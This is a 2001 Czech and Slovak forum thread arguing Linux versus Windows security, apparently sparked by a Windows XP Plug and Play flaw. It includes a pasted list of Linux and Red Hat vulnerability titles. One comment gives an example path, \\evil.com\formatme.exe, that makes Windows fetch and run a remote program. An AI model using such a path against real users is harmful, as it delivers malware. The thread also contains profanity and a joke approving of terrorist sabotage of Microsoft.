Linux podporuje řadu hardware, které Windows vůbec nepodporují a pravděpodobně podporovat nebudou. Sám jistě víš jak velký rozdíl může být mezi počítačem budovaným na platformě PC, Motorola, ale třeba i SPARC, Alpha, MIPS atd. Jen u procesorů je třeba brát hled na RISC i CISC platformy nebo věci s nimiž se běžný smrtelník přímo  nebude nikdy pracovat, např. "ultra" CISC procesory mainframe nebo virtuální partice - LPARy, což jsou věci, které jsou pro PC, ale i řadu RISCů ve vzdálené budoucnosti.

Pokud jde o to hledání chyb, je pravdou, že počet uživatelů Windows, zejména v desktopu, je velký. Problém možná bude v tom, že u Linuxu se na tom podílí možná více lidí na úrovni zdrojového kódu tj. dříve než se to k uživatelům vůbec dostane. Zkuste se prosím nad tím zase zamyslet Vy.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Petr Šnajdr  |  22. 12. 2001 17:45

No nevím, ale svého času Microsoft byl za rychlost operav kritizován. Dohledejte třeba jak rychle byl opraven pentium F00F bug v Linux a ve Windows. Zamyslete se také nad tím proč např. Service  Pack 2 pro Windows NT WS CZ nebyl nikdy vydán.

Druhou a třetí větu posledního souvětí jsem nepochopil. Nedává mi smysl. Proč jsou Windows (pravděpodobně myslíte NT/2000/XP) stabilnější? Stejně tak je to s tou bezpečností.

Pokud si budeme chtít hrát se slovíčkama tak určitě procenticky významně větší procento instalovaných Windows bylo minimálně 1x napadeno než Linux. Ano, je to částečně demagogie založená na takových věcech jako Nimda, ILOVEYOU apod. Nicméně je to jeden možný pohled. Definujte ten Váš.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Libor Chocholatý  |  02. 01. 2002 12:28

Pokud bugem F00F myslíte bug v procesoru Pentium, tak ten se v Linuxu opraví jednoduše zapnutím softwarové emulace matematiky (vypnutí koprocesoru). Proč by se meli lidi obtěžovat opravovat chyby jiných? Občas to někdo udělá, ale existuje blacklist harwaru s popisem známých chyb u každého typu, které nejsou napravovány softwarově a ani nebudou, protože to sviní kńd. Majitelé notebooků by mohli vyprávět o špatné implementaci ACPI v BIOSU svých miláčků. Prostě se to neopravovalo, protože by to bylo samý

#ifdef MODEL_TEN_A_TEN delej neco
#else delej neco jineho
#endif

A člověk, který to dělá zdarma, by byl blázen, kdyby to chtěl udržovat.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Radek Jež  |  21. 12. 2001 10:32

Problém není v tom, že by si Mr.Soft nedokázal vybírat ty qualitní programátory, nýbrž v tom, že Usámovi se skutečně podařilo nasadit do Mr.Softu své lidi. Přepokládám, že počet zadních vrátek do systému bude poněkud vyšší a některé se pravděpodobně Mr.Softu ani nepodaří odhalit (zato hackerům pravděpodobně ano :). V každém případě pokud Usáma tímto způsobem zliquiduje firmu Mr.Soft, neudělá tím rozhodně nic opovrženíhodného. Pokud tímto vzniknou nějaké finanční ztráty firmám, které používají Oknows, je to problém těchto firem, bude to smutné, nicméně lidé by měli s tímto počítat a přizpůsobit se této situaci předem. Zejména je dobré používat firewally pod unixem resp. linuxem.

Souhlasím  |  Nesouhlasím  |  Odpovědět
winuser  |  21. 12. 2001 10:05

To all you fucking BIG HERO Linux users
Toto je zoznam pre demonstraciu chyb v SW vseobecne (filtrovany pre nazornost na Linux a nasledne RedHat)
http://www.securityfocus.com/cgi-bin/vulns.pl
Odporucam vsetkym tymto SW SPECIALISTOM si pozriet aj ostatnych Vendorov aby vedeli co to znamena SW Bug.
Podotykam ze v zozname Linuxu ide vacsinou o systemove veci a nie su tam veci typu chyby Apache a dalsich rozsireni (tie su v dalsom zozname na konci v ramci RedHat ako ucelenej distribucie). Ak to chcete porovnavat s MS tak si pozrite ucelenu distribuciu Redhatu. Sam linux pouzivam a programujem na nom ale narozdiel od vas si viem porovnat jablka s jablkami.


Linux vulnerabilities

  • 2001-11-21:  Linux VMLinux Arbitrary Kernel Execution Denial of Service Vulnerability
  • 2001-11-02:  Linux Syn Filter Evasion Vulnerability
  • 2001-10-18:  Linux Deep Symbolic Link Denial of Service Vulnerability
  • 2001-10-18:  Linux Ptrace/Setuid Exec Vulnerability
  • 2001-10-10:  Linux 2.4 Kernel MAC Module Filtering Bypassing Vulnerability
  • 2001-07-30:  Linux IRC IP Masquerading Module Arbitrary Firewall Rule Insertion Vulnerability
  • 2001-07-25:  Linux UDP Denial of Service Vulnerability
  • 2001-07-16:  Linux Init Default Umask Vulnerability
  • 2001-07-07:  Multiple Vendor Small TCP MSS Denial of Service Vulnerability
  • 2001-06-27:  Linux procfs Stream Redirection to Process Memory Vulnerability
  • 2001-04-16:  IPTables FTP Stateful Inspection Arbitrary Filter Rule Insertion Vulnerability
  • 2001-03-27:  Linux ptrace/execve Race Condition Vulnerability
  • 2001-03-14:  Multiple Vendor TCP Initial Sequence Number Statistical Vulnerability
  • 2001-02-09:  Linux sysctl() Kernel Memory Reading Vulnerability
  • 2000-11-30:  Linux Non-Readable File Ptrace Vulnerability
  • 2000-07-05:  Multiple Vendor ftpd setproctitle() Format String Vulnerability
  • 2000-06-07:  Linux Capabilities Vulnerability
  • 2000-05-01:  Linux knfsd Denial of Service Vulnerability
  • 2000-03-27:  Multiple Linux Vendor 2.2.x Kernel IP Masquerading Vulnerabilities
  • 2000-03-23:  Multiple Linux Vendor Domain Socket Denial of Service Vulnerability
  • 1999-12-08:  Linux Packet Length with Options Vulnerability
  • 1999-11-01:  Multiple Vendor Linux NIS Vulnerabilities
  • 1999-09-27:  Linux Predictable TCP Initial Sequence Number Vulnerability
  • 1999-08-22:  Multiple Vendor Wu-Ftpd Buffer Overflow Vulnerability
  • 1999-07-31:  Linux Blind TCP Spoofing Vulnerability
  • 1999-07-27:  Linux IPChains Fragment Overlap Vulnerability
  • 1999-07-15:  Multiple Vendor Shared Memory Denial of Service Vulnerability
  • 1999-07-13:  Linux Segment Limit Vulnerability
  • 1999-06-01:  Multiple Linux Vendor IP Options Vulnerability
  • 1999-05-28:  Linux Sendmail Denial of Service Vulnerability
  • 1999-02-19:  Linux autofs Vulnerability
  • 1999-01-26:  Linux ldd core Vulnerability
  • 1999-01-19:  Linux TCP Port DoS Vulnerability
  • 1998-11-13:  Multiple Vendor RPC Denial of Service Vulnerability
  • 1998-06-30:  Multiple Vendor Linux SIGIO Vulnerability
  • 1998-04-17:  Linux IP Fragment Overlap Vulnerability
  • 1998-04-11:  Linux libc's mktemp() Vulnerability
  • 1998-01-19:  Linux libc NLSPATH Vulnerability
  • 1998-01-14:  Linux i_count Overflow Vulnerability
  • 1998-01-05:  Multiple Vendor Smurf Denial of Service Vulnerability
  • 1997-12-21:  Linux vsyslog() Buffer Overflow Vulnerability
  • 1997-12-08:  Multiple Linux Vendor Zero-Length Fragment Vulnerability
  • 1997-11-20:  Multiple Vendor loopback (land.c) Denial of Service Vulnerability
  • 1997-02-13:  Multiple Vendor Natural Language Service (NLS) Vulnerability

  • RedHat Linux vulnerabilities
     

  • 2001-11-28:  Apache Split-Logfile File Append Vulnerability
  • 2001-11-23:  Stronghold Secure Web Server Information Disclosure Vulnerability
  • 2001-11-13:  RedHat Linux Korean Installation Insecure Default UMask Vulnerability
  • 2001-11-08:  RedHat Linux IPTables Save Option Unrestorable Rules Vulnerability
  • 2001-11-05:  Red Hat TUX HTTP Server Oversized Host Denial of Service Vulnerability
  • 2001-10-24:  RedHat RPM Corrupt Query Vulnerability
  • 2001-09-26:  RedHat Setserial Init Script Predictable Temporary File Vulnerability
  • 2001-09-12:  Red Hat Linux Apache Remote Username Enumeration Vulnerability
  • 2001-08-27:  Lpd Remote Command Execution via DVI Printfilter Configuration Error
  • 2001-07-19:  Multiple Linux Vendor TCLTK Unsafe Library Searching Vulnerability
  • 2001-07-19:  Multiple Linux Vendor Expect Insecure Library Loading Vulnerability
  • 2001-07-17:  Multiple Ucd-Snmp Vulnerabilities
  • 2001-07-10:  Apache Possible Directory Index Disclosure Vulnerability
  • 2001-06-12:  Linux Man Page Source Buffer Overflow Vulnerability
  • 2001-06-04:  Linux Man Malicious Cache File Creation Vulnerability
  • 2001-05-13:  Man -S Heap Overflow Vulnerability
  • 2001-05-02:  RedHat Linux Swap File World Readable Permissions Vulnerability
  • 2001-02-01:  gnuserv MIT-MAGIC-COOKIE Remote Buffer Overflow Vulnerability
  • 2001-01-30:  Red Hat Linux Inetd Daytime Denial of Service Vulnerability
  • 2001-01-16:  glibc LD_PRELOAD File Overwriting Vulnerability
  • 2001-01-10:  glibc RESOLV_HOST_CONF File Read Access Vulnerability
  • 2001-01-10:  Apache /tmp File Race Vulnerability
  • 2001-01-10:  arpwatch /tmp File Race Condition Vulnerability
  • 2001-01-10:  squid /tmp File Race Condition Vulnerability
  • 2001-01-10:  linuxconf /tmp File Race Condition Vulnerability
  • 2001-01-10:  mgetty /tmp File Race Condition Vulnerability
  • 2001-01-10:  gpm /tmp File Race Condition Vulnerability
  • 2001-01-10:  wu-ftpd /tmp File Race Condition Vulnerability
  • 2001-01-10:  inn /tmp File Race Condition Vulnerability
  • 2001-01-10:  sdiff /tmp File Race Condition Vulnerability
  • 2001-01-10:  getty_ps /tmp File Race Condition Vulnerability
  • 2001-01-10:  rdist /tmp File Race Condition Vulnerability
  • 2001-01-10:  shadow-utils /etc/default Temp File Race Condition Vulnerability
  • 2000-12-05:  RedHat Linux diskcheck Race Condition Vulnerability
  • 2000-11-10:  Multiple Vendor UNIX adduser/useradd Vulnerability
  • 2000-11-03:  RedHat Linux restore Insecure Environment Variables Vulnerability
  • 2000-11-01:  Multiple Vendor Mail Reply-To Field Vulnerability
  • 2000-10-31:  Multiple Vendor dump Insecure Environment Variables Vulnerability
  • 2000-10-18:  RedHat Linux ping Buffer Overflow Vulnerability
  • 2000-10-09:  Multiple Vendor libncurses Terminfo Buffer Overflow Vulnerability
  • 2000-10-06:  Tmpwatch Arbitrary Command Execution Vulnerability
  • 2000-10-05:  BSD talkd Remote Format String Vulnerability
  • 2000-09-26:  Multiple Vendor lpr Format String Vulnerability
  • 2000-09-25:  Multiple Vendor LPRng User-Supplied Format String Vulnerability
  • 2000-09-19:  RedHat Glint /tmp Symbolic Link Vulnerability
  • 2000-09-13:  Multiple Linux Vendor klogd Vulnerability
  • 2000-09-09:  Tmpwatch Recursive Write DoS Vulnerability
  • 2000-09-04:  Multiple Vendor Locale Subsystem Format String Vulnerability
  • 2000-08-08:  Multiple Vendor mopd Buffer Overflow Vulnerability
  • 2000-08-08:  Multiple Vendor mopd User Inputted Data Used as Format String Vulnerability
  • 2000-07-27:  Multiple Linux Vendor pam_console Remote User Vulnerability
  • 2000-07-18:  Multiple Vendor Linux Usermode Package Vulnerability
  • 2000-07-16:  Multiple Linux Vendor rpc.statd Remote Format String Vulnerability
  • 2000-07-03:  Multiple Vendor man(1) 'makewhatis' Insecure /tmp Files Vulnerability
  • 2000-06-22:  Wu-Ftpd Remote Format String Stack Overwrite Vulnerability
  • 2000-06-21:  Multiple Linux Vendor KON (Kanji On Console) Buffer Overflow Vulnerability
  • 2000-06-21:  gkermit setgid uucp Vulnerability
  • 2000-06-09:  RedHat Piranha Virtual Server Package Plaintext Password Vulnerability
  • 2000-06-08:  Linux rpc.lockd Remote Denial Of Service Vulnerability
  • 2000-05-16:  Multiple Vendor Kerberos 5/Kerberos 4 Compatibility krb_rd_req() Buffer Overflow Vulnerability
  • 2000-05-03:  Multiple Linux Vendor pam_console Vulnerability
  • 2000-04-24:  RedHat Piranha Virtual Server Package Default Account and Password Vulnerability
  • 2000-04-24:  RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution Vulnerability
  • 2000-04-23:  ncurses TERMCAP Buffer Overflow Vulnerability
  • 2000-04-21:  OpenLDAP /usr/tmp/ Symlink Vulnerability
  • 2000-04-19:  Multiple Vendor popd Lock File Denial of Service Vulnerability
  • 2000-04-16:  Multiple Vendor X Font Server DoS and Buffer Overflow Vulnerabilities
  • 2000-03-27:  Multiple Linux Vendor 2.2.x Kernel IP Masquerading Vulnerabilities
  • 2000-03-23:  Multiple Linux Vendor Domain Socket Denial of Service Vulnerability
  • 2000-03-22:  Multiple Linux Vendor gpm Setgid Vulnerability
  • 2000-03-13:  Multiple Linux vendor imwheel Vulnerability
  • 2000-03-09:  Printtool Printer Share Password Compromise Vulnerability
  • 2000-02-28:  nmh Buffer Overflow Vulnerability
  • 2000-02-28:  Multiple Vendor "dump" Buffer Overflow Vulnerability
  • 2000-02-26:  Multiple Linux Vendor man Buffer Overrun Vulnerability
  • 2000-02-23:  RedHat Single User Mode Authentication Vulnerability
  • 2000-01-11:  Redhat Linux lpd Vulnerabilities
  • 2000-01-04:  Multiple Linux Vendor userhelper/PAM Path Vulnerability
  • 2000-01-02:  Unix Shell Redirection Race Condition Vulnerability
  • 1999-12-08:  Linux Packet Length with Options Vulnerability
  • 1999-12-03:  RedHat Linux 6.1 ORBit and esound Weak Authentication Vulnerability
  • 1999-12-03:  RedHat Linux 6.1 ORBit and gnome-session Remote DoS Vulnerability
  • 1999-11-23:  Linux gpm Denial of Service Vulnerability
  • 1999-11-09:  Linux nfsd Remote Buffer Overflow Vulnerability
  • 1999-11-08:  RedHat Linux csh/tcsh Vulnerability
  • 1999-11-01:  Multiple Vendor Linux NIS Vulnerabilities
  • 1999-10-21:  RedHat screen pty(7) Vulnerability
  • 1999-10-18:  RedHat lpr/lpd Vulnerabilities
  • 1999-10-13:  RedHat PAM NIS Locked Accounts Vulnerability
  • 1999-10-04:  RPMMail Local/Remote Root Vulnerability
  • 1999-09-02:  Multiple Vendor INN inews Buffer Overflow Vulnerability
  • 1999-08-30:  Multiple Vendor amd Buffer Overflow Vulnerability
  • 1999-08-25:  Vixie Cron Buffer Overflow Vulnerability
  • 1999-08-25:  Vixie Cron MAILTO Sendmail Vulnerability
  • 1999-08-19:  Linux in.telnetd Denial of Service Vulnerability
  • 1999-08-18:  Multiple Vendor Termcap tgetent() Buffer Overflow
  • 1999-06-24:  RedHat Linux nfs-server Vulnerabilities
  • 1999-06-17:  RedHat X Authentication Vulnerability
  • 1999-06-09:  KDE K-Mail File Creation Vulnerability
  • 1999-06-09:  RedHat su No Logging Vulnerability
  • 1999-06-08:  Sudo Private File Existance Information Leakage Vulnerability
  • 1999-06-06:  RedHat Linux /dev/pts Filesystem Permission Vulnerability
  • 1999-06-06:  Terminal Programs Set Incorrect Terminal Permissions Vulnerability
  • 1999-06-01:  Multiple Linux Vendor IP Options Vulnerability
  • 1999-05-28:  Linux xosview Vulnerability
  • 1999-05-26:  Univ. of Washington pop2d Buffer Overflow Vulnerability
  • 1999-03-30:  Linux insmod Vulnerability
  • 1999-03-30:  Multiple Vendor xfs Symlink Vulnerability
  • 1999-03-21:  X11R6 3.3.3 Symlink Vulnerability
  • 1999-02-26:  Multiple Vendor Linux klogd Buffer Overflow Vulnerability
  • 1999-02-17:  Multiple Vendor Lsof Buffer Overflow Vulnerability
  • 1999-02-09:  Multiple Vendor FTPD realpath Vulnerability
  • 1999-01-04:  Dosemu S-Lang Vulnerability
  • 1998-09-13:  RedHat Linux printfilter Vulnerability
  • 1998-08-28:  Multiple Vendor Linux Mountd Vulnerability
  • 1998-07-29:  RedHat 5.1 dumpreg Vulnerability
  • 1998-06-25:  Multiple Vendor mailx Vulnerability
  • 1998-04-08:  Multiple Vendor BIND iquery buffer overflow Vulnerability
  • 1998-03-09:  RedHat dhcp Symbolic Link Vulnerability
  • 1998-01-19:  RedHat Linux 5.0 mh Vulnerability
  • 1998-01-19:  Linux libc NLSPATH Vulnerability
  • 1998-01-19:  RedHat 5.0 msgchk Vulnerability
  • 1997-12-21:  Linux vsyslog() Buffer Overflow Vulnerability
  • 1997-12-16:  GNU libc2 Vulnerability
  • 1997-04-17:  Multiple Vendor suidperl Overflow Vulnerability
  • 1997-02-13:  Multiple Vendor Natural Language Service (NLS) Vulnerability
  • 1997-01-18:  Multiple Vendor talkd(8) Vulnerability
  • 1996-12-04:  Multiple Vendor INN remote Vulnerability
  • 1996-11-16:  Berkeley Sendmail Daemon Mode Vulnerability
  • 1996-09-11:  Berkeley Sendmail Starvation and Overflow Vulnerabilities
  • 1996-08-26:  rwhod Buffer Overflow Vulnerability
  • 1996-02-02:  RedHat 2.1 abuse.console Vulnerability
  • Souhlasím  |  Nesouhlasím  |  Odpovědět
    Bohdan  |  21. 12. 2001 10:23

    nechapu smysl prispevku: Linux ma 14 vulnerabilities za rok 2001, kde vecsina z nich funguje za specialne nastavenych podminek. Kdyz mate slusne customizovany system, tak se vam do nej probije clovek jen se znalosti loginu.

    Pro porovnani tam bouchnete Window vulnerabilities za rok 2001 at je co srovnat

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    mmike  |  21. 12. 2001 11:36

    Tento list ma jeden velky problem listuje vsetky bug-y aj z vnutra systemu nie len sietove....

    napr 2001-10-18:  Linux Deep Symbolic Link Denial of Service Vulnerability  .... To nieje sietovy bug to je filesystem.

    Chcel by som vidiet ako dlho bude XP odolavat mojim utokom ked sa nan prihlasim ako uzivatel..... (moj odhad je ze asi dve sekundy a system sa zruti).(jediny sposobom akym moze odolavat je ked mi zakazete pustit hocijaky program.... ale vysledok toho je ze nemozem ten system pouzivat ako uzivatel.)

    Takze bacha na to co pises.... Za druhe skus si pozriet kolko security updatov mal w2k v tomto roku (a rozdel ich na jenotlive chybi a uvidis ze ich je hodne...... (a to vacsinou su len bugy v activex a v sieti).MS sa ani len netrapi tym ze uzivatel moze zautocit na terminal server.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Anndy  |  21. 12. 2001 12:22

    no ja myslim, ze tym chcel autor prispevku povedat toto:

    Problem MS nie je v chybach - tie maju vsetky OS a vo velkom mnozstve (tak ako kazdy soft), ale skor s tym, ako casto ich opravuju :)

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    mmike  |  21. 12. 2001 12:40

    zaujimavy  postreh suhlasim.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    hil  |  21. 12. 2001 21:09

    Téééda, to ten Linux má tolik chyb? A ještě si ho musím dodělat doma? Tak to bohužel, i když nemám MS rád, budu ho používat dál, nemám tolik času na hraní si s Linuxem. A na případnou chybu a záplatu v MS mě upozorní na každém rohu.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Martin Tomasek  |  22. 12. 2001 02:11

    ))))))))))))))))))))))))))))))))))))))))

    asi bych sem mel vypsat par der, ktere jsou pro win zname, m$ je neopravil a pravdepodobne nikdy opravovat nebude. myslim, ze bys pak nazor asi zmenil.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    quartz  |  22. 12. 2001 09:32

    prosim prosim, udelejte to.....

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Martin Tomasek  |  22. 12. 2001 15:12

    ok. napisu sem o jedne uz od w95 velmi dobre zname designove chybe (podle m$ je to feature na zjednoduseni prace)

    pokud napisu v exploreru \\evil.com\formatme.exe, m$ie proste program stahne a spusti. proto se musi mezi internet a dany pocitac bezpodminecne davat firewall, co odfiltruje windowsi sdileni. no, a kolik modemistu ma firewall s timhle nastavenim asi nainstalovany, ze?

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Petr Šnajdr  |  22. 12. 2001 17:28

    Seznam je to úctihodný, ale je otázkou co znamená. Je velice důležité se k tomu nějak jednotně postavit, říci co si co a pro jakou příležitost si představujete a pak můžeme začít počítat. jinak se "chlapácky plácat po ramenech" můžeme třeba nekonečně.

    Řekněme, že to co je žádáno je minimum remote security holes v defaultní instalaci. Rád Vým přenechám počty pokud jde o Windows a pokud Vám to udělá radost tak i pro Linux nebo spíše pro nějakou konkrétní distribuci Linuxu. I když narozdíl od Vás bych preferoval spíše Debian Linux, ale to je otázka čeho chcete dosáhnout.

    Ale abych Vám dal také nějaká data, vemu jiný OpenSource operační systém a to OpenBSD a do fora hodím první větu z jeho home page:
    Four years without a remote hole in the default install!

    Nyní jste na řadě Vy.

    Nicméně, když jsme u té bezpečnosti, neodpustím si jednu poznámku. Zvykl jsem si, že hlavní vývojáři UNIXových operačních systémů podporují minimálně pokud jde o security update několik verzí dozadu. Např. tři. Ve světě Windows by to znamenalo ještě v polovině tohoto roku Windows NT 3.51, Windows NT 4.0 a Windows2000. V  této alegorii by Microsoft měl podporovat Windows NT 4.0 až do vydání nástupce WindowsXP. U UNIXu tuto potřebu umím poměrně jednoduše vysvětlit: když něco funguje tak je zbytečné do toho šahat více než je nutné, je hezké, že exituje verze o dvě čísla novější, ale pokud ji nepotřebuji tak proč podstupovat riziko, že si systém zbytečně rozvrtám. U Windows přístup Microsoftu "nechápu". Vysvětlil by jste mi ho?

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    David Toman  |  09. 01. 2002 16:30

    Jeste, ze jste neposlal seznam chyb Windowsu, ten nekolikamegovy vypis bych stahovat nechtel ...

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    snake  |  21. 12. 2001 09:25

    Uz ma to unavuje citat kazdy den o nejkom probleme s XP, To zas bude kolko service packov.... Ten system kurva nepriniesol nic nove ... Je to poriadny SHIT....Je to Dobugovany zhluk ...ako vzdy..... Miesto investovania penazi do vyvoja nahanaju warezakov...

    BTW: podla mna ani MS nevie ake porty vyuziva..... Su radi ze im to chodi......ani sami nevedia ako im to funguje..... Je to zase jedna velka blamaz... ktora len zabere o 500MB viac.a  o nejake sekundy pomalsie......2000 nedokoncena a robia nieco nove.....  keby to bolo free ako Beta lebo to beta urcite je nic nepoviem...ale tolko love za RC sa mi nesce dat.....lebo Final u MS nebude nikdy.... resp bude..  Insatalcne CD a 17CD service packov....

     

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    mino  |  21. 12. 2001 10:08

    ano ... ano .... plne s tebou suhlasim ..........

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Yaroukh  |  21. 12. 2001 11:54

    Jiste - MS je jediny system, na ktery vychazi service packy. Vsechny ostatni OS se proste vydavaji pouze ve verzich [0-9].0, ze ?
    Neni Vam za tyhle zvasty trapne ?

    A k tem lidem od MS - myslite si, ze vyvojari od MS jsou nejaka becka ? Ze oni jedini delaji nekdy chyby ? Ze toho o programovani vite dost na to, abyste si mohl neco podobneho dovolit rict ?

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Jakub Simacek  |  21. 12. 2001 13:06

    M$ neni jediny system, ktery vydava servis packy, akorat se jim vetsinou rika jinak (treba patche). Jenze, voni jsou jediny, ktery uz jednou opravenou chybu znova vecpou do dalsi verze. Ale to nejhorsi, ze v kazdym SP vam vam doinst. mraky komponent a jinech sracek, ktery nikdo nepotrebuje a ani nevi, ze tam neco ma.

    Prikad: Pentium 133 s NT4 behal ve svoji dobe skvele. Po aplikaci SP6a je na umreni. Proc ty NT tak nabobtnali? Jedina svetla vyjimka je WSH. Ale ten jsem si snad mohl nainstalovat vedome a ne s nakym SP4 nebo 5 nebo nakym jinym.

    Mate nekdo jiny nazor?

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    quartz  |  22. 12. 2001 09:26

    Castecne s vami souhlasim,
    SP ve WINNT opravdu "opravuji" az moc veci - problem je,ze je to stary system a aby podporoval vsechno nove je nutne udelat spoustu zmen. Myslim si, ze byste si ale stejne nechtel vybirat "ktery zrovna ten patchik" nechcete, kdyz na SP6 se jich slozilo na nekolik tisic... S XP mam zatim jinou zkusenost. Mam zapnuty autoupdate (Stahni patch a zeptej) a tak casto vydavane aktualizace jsem nevidel. Programatori od M$ se opravdu snazi zlepsit i sw kompatibilitu, zejmena s antiviry. Coz take ocenuji (jako programator-amater vim jaka je prace s dodatecnymi upravami...)

    A s temi starymi chybami v novych verzich - kdyz je pouzity kod uplne jiny, je to docela mozne. Ale bez urciteho vhledu do strategie programovani nemuzete rict jestli to neni neco uplne jineho. A preteceni bufferu je jedna z nejcastejsich chyb. 

    S pozdravem, Quartz

    PS:vsimli jste si, ze pri startu instalatoru XP (text rezim) se stejne jako ve Win2K nacita Imstalace systemu windows ?

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    quartz  |  22. 12. 2001 09:28

    pozn. tech patchu jsou mozna spis stovky. vazne jsem je nepocital...

    Quartz

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Roman Stedronsky  |  22. 12. 2001 15:39

    Vsiml, jasne ze vsiml, i kdyz to tam jen tak probleskne... chtel jsem vedet, co tam hlasi ceska verze a daval jsem na to pozor...

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    dorf  |  31. 12. 2001 15:31

    To snad nemyslite clovicku vazne!?! To se chcete Microsoftu zastavat? Tomu nerozumim - me naopak nejde do hlavy, jak si muze nekdo dovolit nabizet za nehorazne penize takovy smejd! Chtel bych videt, jak byste se zastaval vyrobce automobilu, v jehoz strese je dira - nechal byste si zrejme prset na makovici a spokojil se s myslenkou, ze jednou vam tu diru vyrobce zavari, ze?

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Martin  |  04. 01. 2002 10:03

    Ac souhlasim, myslim, ze by pri prirovnani k autu bylo priznacnejsi:

  • Nove auto: misto praveho blinkru se nekdy sepne levy

  • SP1: nesepina se uz levy blinkr, ale dalkova svetla

  • SP2: blinkry pracuji jak maji.

  • Novy model auta: misto leveho blinkru se nekdy sepnou dalkova svetla
  • Souhlasím  |  Nesouhlasím  |  Odpovědět
    Cdome  |  14. 01. 2002 17:04

    Tak to sedi...

    Ale jak jsem nekde cetl: Ono nejde o to, ze vam obcas chcipne na krizovatce motor. Ale vam se to stava cimdal casteji a  vy si zvykate. Pak misto napravy chyby proste "preinstalujete" motor..

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    fi0dor  |  07. 01. 2002 12:16

    to vies ... sila marketingu a hlupost ludi (povacsine tych, ktory tomu prt rozumeju ...) keby reklamovali polroka "hovno v sacku s jahodouvou prichutou", tak to ludia bez pochyb kupuju ... to iste robi aj MS. reklama je vsade, ci uz zaporna (kritka na ich soft, spory s linuxakmi ...) alebo kladna (svet.namodro , casaky, billboardy ...)

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Cdome  |  14. 01. 2002 17:11

    Becka to urcite nejsou, snad cecka...

    Ale vazne. Na programatory bych moc nesahal. Problem je spis ten, ze becka jsou lidi, kteri maji na starosti vyvoj projektu. To ze MS ma jeden z nejhorsich modelu na svete (co se tyce vetsich spolecnosti a ne Pepy Vomacky s brachou) a dalsi o dalsi problemy se staraji hosi z marketingu. Pokud date na neco nekomu termin 3 mesice a pritom je potreba dvojnasobek, pak se nedivte, ze se vsichni budou starat o to, aby to aspon trochu chodilo...

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    MJ.FOX  |  15. 06. 2002 10:17

    nemyslim ze jsou becka, ale meli by zpristupnit svuj ZDROJOVEJ KOD     , tak jak je to u LINUXU     , protoze cim vic lidi pracuje na jednom problemu, tim vic chyb se zjisti a rovnez taky opravi. u ms se to rict neda.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Viktor Janeba  |  21. 12. 2001 14:37

    Zatimco ostatni systemy, ktere se take neustale ozaplatovavaji, meni z verze 0.894 na verzi 0.894a atd. jsou uzasne krasne a bezchybne na prvni pokus.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Tomáš Hofman  |  31. 12. 2001 16:10

    Je tady jeden zakladni rozdil:
    Ty ostatni systemy se vetsinou ozaplatovavaji do paru hodin max dni od nalezeni chyby - v pripade MS jsou to v lepsim pripade dny az tydny, v horsim mesice. Mimo to, jak jiz zde bylo receno, ty zaplaty (at uz jim rikate patche, nebo servis packy, nebo odvsivovace) vam na ostatnich systemech nepridaji hromadu harampadi, ktere po nich nikdo nechtel...
    Nerikam, ze to co jsem napsal je pravda ve 100 % pripadu, ale vetsinou to plati.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Břetislav Černík  |  21. 12. 2001 09:09

    Kdyby aspon dokumentovali, ktere porty aplikace pouzivaji.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    JV  |  21. 12. 2001 08:43

    To je určitě ta chyba, kterou do Windows propašoval Usáma bin Ládin!

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Tom L.  |  21. 12. 2001 14:32

    treba to ma znamenat Usama's Plug & Play :^)

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    quartz  |  22. 12. 2001 09:12

    Skoda jenom ze anglicky mluvici lidi ho pisou Osama bin Laden

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Mti  |  21. 12. 2001 08:32

    A w2k nic? Tam to jeste nefunguje nebo to tam uz nefunguje

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Tomáš Holčík  |  21. 12. 2001 10:32

    Ve Windows 2000 není podpora Universal Plug and Play, takže se tam ta chyba neprojevuje.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    petr zahradnik  |  21. 12. 2001 08:10

    to je u uzavrenyho kodu docela normalni. Overflows se stavaj v kazdym softu, ale u closed je jich spousta jen se dost blbe hledaj :)))

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Michal Pohořelský  |  21. 12. 2001 08:08

    Jenom 3 katastrofální chyby ?? Tak málo ?
    Osobně jich očekávám nejméně 1000...

     

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    batman  |  21. 12. 2001 08:00

    M$ by mel zalozit pro svoje produkty novou WWW stranku, nejlepe www.bullshit.com.
    To by sedelo.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Kombajn  |  21. 12. 2001 06:23

    :)))) no... cekal jsem to driv. MS se fakt zlepsuje . samozrejme ze podobne utoky jsou vlastne jen hypoteticke, ale ta moznost tu je. pokud vypadaji nejbezpecnejsi systemy MS takto, asi se nemusime moc divit, ze se je snazi Billl procpat zadarmo do škol.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Faro  |  21. 12. 2001 04:56

